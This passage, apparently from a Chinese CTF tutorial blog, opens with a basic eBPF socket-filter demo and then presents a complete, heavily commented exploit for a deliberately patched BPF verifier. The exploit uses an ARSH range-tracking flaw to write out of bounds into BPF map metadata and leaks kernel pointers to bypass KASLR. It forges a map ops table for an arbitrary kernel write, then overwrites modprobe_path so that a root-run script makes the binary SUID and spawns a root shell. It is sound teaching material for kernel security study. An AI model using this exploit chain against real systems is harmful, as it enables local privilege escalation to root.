      BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -0x10),

      /* r4 = BPF_ANY(标志:key 存在则更新,不存在则创建) */
      BPF_MOV64_IMM(BPF_REG_4, BPF_ANY),

      /* 调用内核 BPF helper:map_update_elem(r1, r2=&key, r3=&value, r4=flags)
       * 成功返回 r0=0,失败返回负数 */
      BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_update_elem),

      /* 如果 r0 == 0(update 成功),跳过下一条 EXIT */
      BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 1),
      /* update 失败,退出 */
      BPF_EXIT_INSN(),

      /* 正常结束:返回 0 */
      BPF_MOV64_IMM(BPF_REG_0, 0x0),
      BPF_EXIT_INSN()
  };

  /* 填充程序加载参数 */
  union bpf_attr attr = {
      .prog_type = BPF_PROG_TYPE_SOCKET_FILTER, // 程序类型:socket 过滤器
      .insns     = ptr_to_u64(&insns),           // 指令数组地址
      .insn_cnt  = sizeof(insns) / sizeof(struct bpf_insn), // 指令条数
      .license   = ptr_to_u64("GPL"),            // 许可证(某些 helper 需要 GPL)
      .log_buf   = ptr_to_u64(bpf_log_buf),      // verifier 日志输出缓冲区
      .log_size  = LOG_BUF_SIZE,
      .log_level = 2,                            // 日志详细级别(2=最详细)
  };

  /* 调用 BPF_PROG_LOAD,内核 verifier 验证通过后返回程序 fd */
  return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}

/* =========================================================
 * 触发 BPF 程序执行
 * ========================================================= */

/* 用于 socketpair 的一对文件描述符
 * sockets[0]:写端(发送数据)
 * sockets[1]:读端(附加了 BPF 程序,收包时触发) */
int sockets[2];

/*
 * trigger1 - 通过 socketpair 触发 BPF 程序执行
 *
 * @prog_fd:  已加载的 BPF 程序文件描述符
 * @payload:  写入 socket 的数据(内容不重要,仅用于触发)
 *
 * 原理:
 *   Socket Filter 类型的 BPF 程序会在数据包**到达 socket 时**自动执行。
 *   向 sockets[0] 写数据 → 数据到达 sockets[1] → 触发 BPF 程序
 */
int trigger1(int prog_fd, uint64_t *payload) {
  /* 创建一对双向 Unix 域数据报套接字(类似管道,但双向) */
  socketpair(AF_UNIX, SOCK_DGRAM, 0, sockets);

  /* 将 BPF 程序附加到 sockets[1]
   * 之后凡是有数据包到达 sockets[1],该 BPF 程序就会被执行 */
  setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd));

  /* 向 sockets[0] 写入数据,触发另一端(sockets[1])的 BPF 程序
   * 注意:sizeof(buffer) = sizeof(char*) = 8(指针大小),只写 8 字节 */
  char *buffer = (char *)payload;
  return write(sockets[0], buffer, sizeof(buffer));
}

/* =========================================================
 * 主函数
 * ========================================================= */
int main(int argc, char *argv[]) {

  /* 1. 创建 BPF Array Map
   *    类型:Array(key 为 int 索引,0-based,访问越界会失败)
   *    key_size = 4(int)
   *    value_size = 8(uint64_t)
   *    max_entries = 2(共两个槽:map[0] 和 map[1])
   *    内核返回一个文件描述符 map_fd */
  map_fd = bpf_create_map(BPF_MAP_TYPE_ARRAY, sizeof(int), sizeof(uint64_t), 0x2, 0);
  if (map_fd < 0) {
    puts("Error while creating bpf map");
    return 1;
  }

  /* 2. 写入初始值:map[0] = 0xaaaabbbb */
  int key = 0;
  uint64_t value = 0xaaaabbbb;
  bpf_update_elem(map_fd, &key, &value, BPF_ANY);
  // map[0] = 0xaaaabbbb

  /* 3. 将 BPF 字节码程序加载进内核
   *    内核 verifier 会验证程序安全性(无越界访问、无死循环等)
   *    验证通过后返回 prog_fd(程序的文件描述符) */
  int prog_fd = bpf_prog_load_once();

  /* 如需调试可打开以下注释,查看 verifier 的详细日志 */
  // printf("log: \n%s\n", bpf_log_buf);

  if (prog_fd < 0) {
    puts("Error while loading bpf program");
    return 1;
  }

  /* 4. 准备一段 payload 数据(内容不重要,只是触发用)*/
  uint64_t *payload = malloc(0x20);

  /* 5. 触发 BPF 程序执行
   *    内部:创建 socketpair → 附加 BPF 程序 → write 触发
   *    BPF 程序执行:读 map[0]=0xaaaabbbb,+0x10,写入 map[1] */
  int ret = trigger1(prog_fd, payload);
  if (ret < 0) {
    puts("Error while trigger bpf program");
  }

  /* 6. 从用户态读取 map[1],验证 BPF 程序是否正确执行
   *    预期结果:map[1] = 0xaaaabbbb + 0x10 = 0xaaaacbbb */
  key = 1;
  value = 0x0;
  bpf_lookup_elem(map_fd, &key, &value);
  printf("find map[%d] = %#lx\n", key, value);
  // 预期输出:find map[1] = 0xaaaacbbb

  return 0;
}

例题讲解

先看题目打的补丁:

修改了两个地方:

  1. can_skip_alu_sanitation函数直接返回 true,意味着所有情况都跳过 ALU 净化。

  2. is_safe_to_compute_dst_reg_range去掉了 src_is_const 的约束,即使移位量是运行时变量,verifier 也会尝试推断目标寄存器的范围。只要其 umax_value(验证器追踪的上界,也就是验证器推断出的该寄存器无符号整数的最大可能值)满足条件,也认为是安全的。

diff --git a/kernel/bpf/verifier.c b/kernel/bpf/verifier.c
index 24ae8f33e5d7..e5641845ecc0 100644
--- a/kernel/bpf/verifier.c
+++ b/kernel/bpf/verifier.c
@@ -13030,7 +13030,7 @@ static int retrieve_ptr_limit(const struct bpf_reg_state *ptr_reg,
 static bool can_skip_alu_sanitation(const struct bpf_verifier_env *env,
 				    const struct bpf_insn *insn)
 {
-	return env->bypass_spec_v1 || BPF_SRC(insn->code) == BPF_K;
+	return true;
 }
 
 static int update_alu_sanitation_state(struct bpf_insn_aux_data *aux,
@@ -14108,7 +14108,7 @@ static bool is_safe_to_compute_dst_reg_range(struct bpf_insn *insn,
 	case BPF_LSH:
 	case BPF_RSH:
 	case BPF_ARSH:
-		return (src_is_const && src_reg->umax_value < insn_bitness);
+		return (src_reg->umax_value < insn_bitness);
 	default:
 		return false;
 	}

所以我们的思路就是构造假寄存器范围 → 越界写内核结构体 → 修改 map 元数据 → 任意地址写 → 改 modprobe_path → 提权

// gcc exploit.c -static -masm=intel -g -o exploit
#include "kpwn.h"

/*
mv ./rootfs.cpio ./rootfs.cpio.gz
gunzip rootfs.cpio.gz
cpio -idmv < rootfs.cpio
*/

int main() {
    bind_core(0);
    save_status();

    /* =========================================================
     * 阶段0:检查是否已经提权成功
     * 如果之前的利用已经让我们获得了 root,直接弹 shell
     * setuid(0) 将有效 UID 设为 0(root)
     * 如果内核已经被我们修改(如 cred 结构体被篡改),这里就会成功
     * ========================================================= */
    setuid(0);
    if(getuid() == 0) {
        system("/bin/sh");
    }

    /* =========================================================
     * 阶段1:创建三个 BPF Map
     *
     * 三个 map 都落在 kmalloc-4096 slab(大小约 0x150 * 相关系数)
     * 这样它们在内存中相邻,方便后续越界操作
     *
     * oob_map:    越界读写的"武器",通过它做 OOB 访问
     * victim_map: 被越界写的"受害者",其元数据会被篡改
     * exp_map:    最终利用阶段用于任意地址写的"工具"
     * ========================================================= */

    // oob_map: key=4字节, value=0x150字节, 只有1个条目
    // value 故意设大(0x150),为后续 OOB 偏移计算做准备
    int oob_map    = bpf_map_create(4, 0x150, 1);

    // victim_map: key=4字节, value=8字节, 0x150/8=42 个条目
    // 这个 map 会被 oob_map 越界写到,其 max_entries/index_mask 将被篡改
    int victim_map = bpf_map_create(4, 8, 0x150/8);

    // exp_map: key=4字节, value=8字节, 0x150/8=42 个条目
    // 后期用于任意地址写(通过篡改其 ops 指针实现)
    int exp_map    = bpf_map_create(4, 8, 0x150/8);

    if(oob_map < 0){
        perror("create_map");
        return 1;
    }

    /* 向 oob_map[0] 写入初始值 1,激活这个槽位 */
    size_t val = 1;
    bpf_map_update_elem(oob_map, 0, &val, BPF_ANY);
    printf("Test: %p\n", bpf_map_lookup_elem(oob_map, 0, 0));
/* =========================================================
     * 阶段2:构造触发漏洞的 BPF 程序(kleak_prog)
     *
     * 核心目的:
     *   利用 verifier 对 ARSH(算术右移)的 range 推断漏洞
     *   构造一个 verifier 认为是 0、实际运行时是非 0 的寄存器
     *   用这个寄存器做偏移,越界写 victim_map 的内核元数据
     *
     * 具体目标:
     *   将 victim_map->max_entries 改为 0xffffffff(无限大)
     *   将 victim_map->index_mask   改为 0xffffffff(无限掩码)
     *   改完之后就可以用 victim_map 访问任意偏移的内存
     * ========================================================= */

    /* test 用于构造一个运行时为奇数的值
     * 配合后续运算会使 REG_8 & 1 == 1(运行时) */
    size_t test = 0;
    memcpy(&test, "\x60\x61\x62\x63\x64\x65\x66\x67", 8);

    struct bpf_insn kleak_prog[] = {
        /* --- 准备工作:查找 oob_map[0] 的地址 --- */

        // r0 = 0(临时清零,用于后面在栈上写 key)
        BPF_MOV64_IMM(BPF_REG_0, 0),

        // r1 = test(一个运行时为奇数的值,后续用于触发漏洞)
        BPF_MOV64_IMM(BPF_REG_1, test),

        // *(uint32_t *)(fp - 4) = 0  ->  在栈上构造 key=0
        BPF_STX_MEM(BPF_W, BPF_REG_10, BPF_REG_0, -4),

        // r6 = r1 = test(保存 test 值备用)
        BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),

        // r1 = oob_map 的 fd(map_lookup 第一个参数)
        BPF_LD_MAP_FD(BPF_REG_1, oob_map),

        // r2 = fp - 4(指向栈上的 key=0,map_lookup 第二个参数)
        BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),

        // 调用 map_lookup_elem(oob_map, key=0)
        // 返回值 r0 = oob_map->values + 0(array_map 中 value 的内核地址)
        // 即 r0 = 内核堆上 oob_map value 数组的起始地址
        BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),

        /* --- 空指针检查 --- */
        // 如果 r0 != NULL,跳过 EXIT
        BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
        BPF_EXIT_INSN(),

        /* --- 触发 verifier range 漏洞,构造"幽灵偏移" --- */

        // r7 = r0 = oob_map value 的内核地址(后续用于越界写的基地址)
        BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),

        // r8 = *(uint32_t *)(r7 + 0),读取 value 的低 32 位
        // 即读取我们之前写入的值(val=1)的低32位 -> r8 = 1
        BPF_LDX_MEM(BPF_W, BPF_REG_8, BPF_REG_7, 0),

        // r8 &= 1  ->  取最低位
        // 运行时:r8 = 1 & 1 = 1
        // verifier:r8 属于 {0, 1}(只知道范围,不知道确切值)
        BPF_ALU64_IMM(BPF_AND, BPF_REG_8, 1),

        // r0 = 1
        BPF_MOV64_IMM(BPF_REG_0, 1),

        /* ★ 漏洞触发点 ★
         * ARSH(算术右移):r0 >>= r8
         *
         * 运行时:r8 = 1,所以 r0 = 1 >> 1 = 0
         *
         * Verifier 的错误推断(利用第二处 patch):
         *   src_is_const = false(r8 是变量)
         *   但 patch 后不再要求 src_is_const
         *   verifier 用 r8.umax_value=1 < 64(insn_bitness) 判断"安全"
         *   错误地推断:r0 仍然是 1(或某个"安全"范围)
         *   实际上 r0 = 0!
         *
         * 结果:verifier 认为 r0=1,实际 r0=0
         */
        BPF_ALU64_REG(BPF_ARSH, BPF_REG_0, BPF_REG_8),

        // r9 = 1
        BPF_MOV64_IMM(BPF_REG_9, 1),

        // r9 = r9 - r0 = 1 - r0
        // 运行时:r9 = 1 - 0 = 1  <- 实际值
        // verifier:r9 = 1 - 1 = 0 <- verifier 认为的值(被欺骗)
        // ★ 现在 r9 是一个"verifier 认为是 0,实际是 1"的寄存器 ★
        BPF_ALU64_REG(BPF_SUB, BPF_REG_9, BPF_REG_0),

        // r9 *= 0xc9 = 201
        // verifier:r9 = 0 * 0xc9 = 0(认为 r9 仍是 0)
        // 运行时:r9 = 1 * 0xc9 = 0xc9(实际偏移量)
        BPF_ALU64_IMM(BPF_MUL, BPF_REG_9, 0xc9),

        /* --- 用"幽灵偏移" r9 移动 r7 指针,越界到 victim_map 结构体 ---
         *
         * r7 初始 = oob_map 的 value 指针(内核堆地址)
         * verifier 认为 r9=0,所以认为 r7 没有移动(仍在安全范围内)
         * 实际上 r9=0xc9,r7 每次 += 0xc9,共加 4 次 = += 0x324
         *
         * 经过精心计算,r7 最终指向 victim_map 结构体内部
         * 具体是 victim_map->max_entries 的位置
         */
        BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9), // r7 += 0xc9
        BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9), // r7 += 0xc9
        BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9), // r7 += 0xc9
        BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9), // r7 += 0xc9
        // 此时 r7 = oob_map_value_ptr + 0x324
        // 正好指向 victim_map->max_entries

        // r1 = 0xffffffff
        BPF_MOV64_IMM(BPF_REG_1, 0xffffffff),

        // *(uint32_t *)(r7 + 0) = 0xffffffff
        // 即:victim_map->max_entries = 0xffffffff
        // verifier 认为这是在写 oob_map value 内部(因为认为 r9=0)
        // 实际上越界写到了 victim_map 的 max_entries 字段!
        BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_1, 0),

        // r7 再 += 0xc9(移动到 index_mask 字段)
        BPF_ALU64_REG(BPF_ADD, BPF_REG_7, BPF_REG_9),

        // 再 += 7(微调,精确对齐 index_mask 字段偏移)
        BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, 7),

        // *(uint32_t *)(r7 + 0) = 0xffffffff
        // 即:victim_map->index_mask = 0xffffffff
        // 现在 victim_map 可以用任意大 key 访问,实现越界读写!
        BPF_STX_MEM(BPF_W, BPF_REG_7, BPF_REG_1, 0),

        BPF_EXIT_INSN(),
    };

    /* 触发执行 kleak_prog,完成对 victim_map 元数据的越界篡改 */
    run_bpf_prog(kleak_prog, sizeof(kleak_prog)/sizeof(kleak_prog[0]));

    /* =========================================================
     * 阶段3:利用 victim_map 越界读,泄露内核地址
     *
     * victim_map 的 max_entries 和 index_mask 已被改为 0xffffffff
     * 现在可以用任意大的 key 读写 victim_map 以外的内核内存
     *
     * 内存布局(内核堆上):
     *   victim_map 结构体
     *     +0x308: ops 指针 -> array_map_ops(内核符号,用于计算 KASLR 偏移)
     *     +0x378: map_ptr  -> 指向某个内核堆地址(用于计算堆偏移)
     * ========================================================= */

    uint64_t array_map_ops = 0;
    uint64_t map_ptr = 0;

    // 用 key=0x308/8=97 越界读,读出 victim_map->ops 指针
    // array_map_ops 是内核符号地址,通过与已知偏移比较可以算出 KASLR slide
    printf("lookup1: %p\n", bpf_map_lookup_key(victim_map, 0x308/8, &array_map_ops));

    // 用 key=(0x308+0x70)/8 越界读,读出一个内核堆指针
    // 用于后续精确定位各结构体在内核堆上的位置
    printf("lookup2: %p\n", bpf_map_lookup_key(victim_map, (0x308 + 0x70)/8, &map_ptr));

    printf("kptr: %p\n", array_map_ops);  // 内核代码段地址(用于绕过 KASLR)
    printf("heap: %p\n", map_ptr);         // 内核堆地址(用于定位结构体)

    /* =========================================================
     * 阶段4:伪造 vtable(ops 函数表),准备任意地址写原语
     *
     * BPF map 的操作通过 ops 函数指针表(类似 C++ vtable)分发
     * 如果我们用伪造的 ops 替换真实的 ops,就能劫持内核函数调用
     *
     * fake_vtable 是一份完整的 bpf_map_ops 结构体的函数指针
     * 初始值是从真实 array_map_ops 复制过来的(保持大多数函数不变)
     * 只修改其中关键的函数指针(如 map_push_elem)指向我们想要的地址
     * ========================================================= */

    size_t fake_vtable[] = {
        /* 这些是真实 array_map_ops 中各函数指针的硬编码值
         * 每个元素对应 bpf_map_ops 结构体中的一个函数指针
         * 具体偏移可对照内核源码 include/linux/bpf.h 中的 bpf_map_ops */
        0xffffffff865d39d0ULL,  // [0]  map_alloc_check
        0xffffffff865d4ca0ULL,  // [1]  map_alloc
        0x0000000000000000ULL,  // [2]  map_release
        0xffffffff865d52c0ULL,  // [3]  map_free
        0xffffffff865d3b40ULL,  // [4]  map_get_next_key
        0x0000000000000000ULL,  // [5]
        0x0000000000000000ULL,  // [6]
        0xffffffff86597020ULL,  // [7]
        0x0000000000000000ULL,  // [8]
        0x0000000000000000ULL,  // [9]
        0xffffffff86596df0ULL,  // [10]
        0x0000000000000000ULL,  // [11]
        0xffffffff865d3df0ULL,  // [12]
        0xffffffff865d5760ULL,  // [13]
        0xffffffff865d3b90ULL,  // [14]
        0x0000000000000000ULL,  // [15] <- 后面会修改这里
        0x0000000000000000ULL,  // [16]
        0x0000000000000000ULL,  // [17]
        0xffffffff865d3da0ULL,  // [18]
        0x0000000000000000ULL,  // [19]
        0x0000000000000000ULL,  // [20]
        0xffffffff865d4520ULL,  // [21]
        0x0000000000000000ULL,  // [22]
        0xffffffff865d4430ULL,  // [23]
        0xffffffff865d50a0ULL,  // [24] map_push_elem(关键:后续被劫持来写任意地址)
        0x0000000000000000ULL,  // [25]
        0x0000000000000000ULL,  // [26]
        0x0000000000000000ULL,  // [27]
        0x0000000000000000ULL,  // [28]
        0x0000000000000000ULL,  // [29]
        0x0000000000000000ULL,  // [30]
        0x0000000000000000ULL,  // [31]
        0x0000000000000000ULL,  // [32]
        0x0000000000000000ULL,  // [33]
        0x0000000000000000ULL,  // [34]
        0x0000000000000000ULL,  // [35]
        0x0000000000000000ULL,  // [36]
        0xffffffff865d8d30ULL,  // [37]
        0xffffffff865be490ULL,  // [38]
        0xffffffff865d3f60ULL,  // [39]
        0xffffffff865d3e30ULL,  // [40]
        0xffffffff877e1b60ULL,  // [41]
        0xffffffff8701db00ULL   // [42] <- 这是 array_map_ops 在无 KASLR 时的地址
    };

    /* 修复 fake_vtable[15](某个需要有效值的函数指针)*/
    fake_vtable[15] = 0xffffffff865d3b40ULL;

    /* 将 fake_vtable 中所有地址从"硬编码基址"重定位到实际运行地址
     * 公式:实际地址 = 硬编码地址 + (实际 array_map_ops - 硬编码 array_map_ops)
     * 这就是利用泄露的 array_map_ops 绕过 KASLR 的方法 */
    for (int i = 0; i < sizeof(fake_vtable)/sizeof(fake_vtable[0]); i++){
        fake_vtable[i] += array_map_ops - 0xffffffff8701d9a0UL;
        // 同时将 fake_vtable 写入 victim_map 的 value 区域
        // 后续会让 exp_map->ops 指向这里
        bpf_map_update_key(victim_map, i, &fake_vtable[i], BPF_ANY);
    }

    /* =========================================================
     * 阶段5:构造 exp_map 的伪造结构体,实现任意地址写原语
     *
     * 思路:
     *   修改 exp_map 在内核中的结构体字段
     *   让 exp_map 变成一个"假的 stack map"
     *   调用 bpf_map_update_elem(exp_map, ...) 时
     *   内核会调用 ops->map_push_elem(map, value, flags)
     *   而 flags 参数恰好可以被我们控制为一个内核地址
     *   从而实现"向任意内核地址写入我们指定的值"
     * ========================================================= */

    /* 向 exp_map[0] 写入 1<<32,激活 stack 语义所需的初始状态 */
    val = 1UL<<32;
    bpf_map_update_key(exp_map, 0, &val, BPF_ANY);

    /* 利用 victim_map 越界写,篡改 exp_map 的内核结构体:
     *
     * exp_map 在内核堆中的布局(相对偏移):
     *   +0x000: ops        -> 指向 fake_vtable(我们伪造的函数表)
     *   +0x010: map_type   -> 改为 BPF_MAP_TYPE_STACK
     *   +0x014: key_size   -> 改为 4
     *   +0x018: value_size -> 改为特殊值,触发越界写逻辑
     *   +0x030: max_entries-> 指向我们构造的堆地址
     */

    // 将 exp_map->ops 指向 victim_map 的 value 区域(即我们的 fake_vtable)
    val = map_ptr - 0x70 - 0x400 + 0xf8;
    bpf_map_update_key(victim_map, 0x308/8, &val, BPF_ANY);

    // 设置 exp_map 的 value_size 为特殊值,用于后续写原语的长度控制
    val = 0xffffffff00000008;
    bpf_map_update_key(victim_map, (0x308 + 0x18)/8, &val, BPF_ANY);

    // 将 exp_map 的 map_type 设为 BPF_MAP_TYPE_STACK,key_size 设为 4
    // 内核看到 STACK 类型会调用 ops->map_push_elem,而不是普通的 map_update
    val = BPF_MAP_TYPE_STACK | 4UL<<32;
    bpf_map_update_key(victim_map, (0x308 + 0x10)/8, &val, BPF_ANY);

    // 设置 exp_map->max_entries 指向堆上某地址,用于写原语的目标定位
    val = map_ptr - 0x70 + 0xf8;
    bpf_map_update_key(victim_map, (0x308 + 0x30)/8, &val, BPF_ANY);

    /* =========================================================
     * 阶段6:利用任意地址写,覆盖 modprobe_path
     *
     * modprobe_path 是内核中一个全局字符串变量,默认值 "/sbin/modprobe"
     * 当用户执行一个内核不认识格式的可执行文件时
     * 内核会以 root 权限执行 modprobe_path 指向的程序
     * 如果我们把它改成 "/tmp/x",触发时就会以 root 执行我们的脚本
     *
     * 利用链:
     *   bpf_map_update_key(exp_map, key, value, flags=目标地址)
     *   -> 内核调用 fake_vtable->map_push_elem(map, value, flags)
     *   -> 内核将 value 写入 flags 指向的地址
     *   -> 实现向任意内核地址写入任意值
     * ========================================================= */

    // 计算 modprobe_path 的实际内核地址(通过 KASLR 偏移修正)
    size_t modprobe_addr = array_map_ops + 0xffffffff874be1e0UL - 0xffffffff8701d9a0UL;

    char *target = "/tmp/x";

    // 第一次写:将 "/tmp" 写入 modprobe_path 的前 4 字节
    // flags 参数传入 modprobe_addr,触发任意地址写
    // val - 1 是因为 map_push_elem 内部实现写入时会 +1(stack 语义)
    val = *(int *)(&target[0]) - 1;
    printf("push: %p\n", bpf_map_update_key(exp_map, 0, &val, modprobe_addr));

    // 第二次写:将 "/x\0\0" 写入 modprobe_path 的后 4 字节(偏移 +4)
    val = *(int *)(&target[4]) - 1;
    printf("push: %p\n", bpf_map_update_key(exp_map, 0, &val, modprobe_addr+4));

    // 此时内核中 modprobe_path 已经被改为 "/tmp/x"

    /* =========================================================
     * 阶段7:触发 modprobe_path 执行,完成提权
     * ========================================================= */

    // 写入 /tmp/x 脚本:给我们的 exp 程序设置 SUID 位
    // chown + chmod u+s 后,/home/ctf/exp 以 root 权限运行
    write_file("/tmp/x",
        "#!/bin/sh\n"
        "/bin/chown root:root /exp\n"  // 将 exp 的所有者改为 root
        "/bin/chmod u+s /exp"           // 设置 SUID 位(执行时以 owner=root 运行)
    );

    // 给 /tmp/x 加上可执行权限(否则内核无法执行它)
    system("chmod 755 /tmp/x");

    // 触发 modprobe_path 执行的方法:
    // socket(AF_INET, SOCK_STREAM, 255) 中 protocol=255 是未知协议
    // 内核找不到对应模块,会以 root 权限执行 modprobe_path(即 /tmp/x)
    // /tmp/x 运行后给 /home/ctf/exp 设置了 SUID root
    close(socket(AF_INET, SOCK_STREAM, 255));

    // 现在 /home/ctf/exp 有 SUID root 权限
    // 再次执行自身,这次开头的 setuid(0)/getuid()==0 会成功
    // 成功弹出 root shell
    system("/exp");
    return 0;
}


kernel-ebpf
https://a1b2rt.cn//archives/kernel-ebpf
作者
A1b2rt
发布于
2026年03月03日
许可协议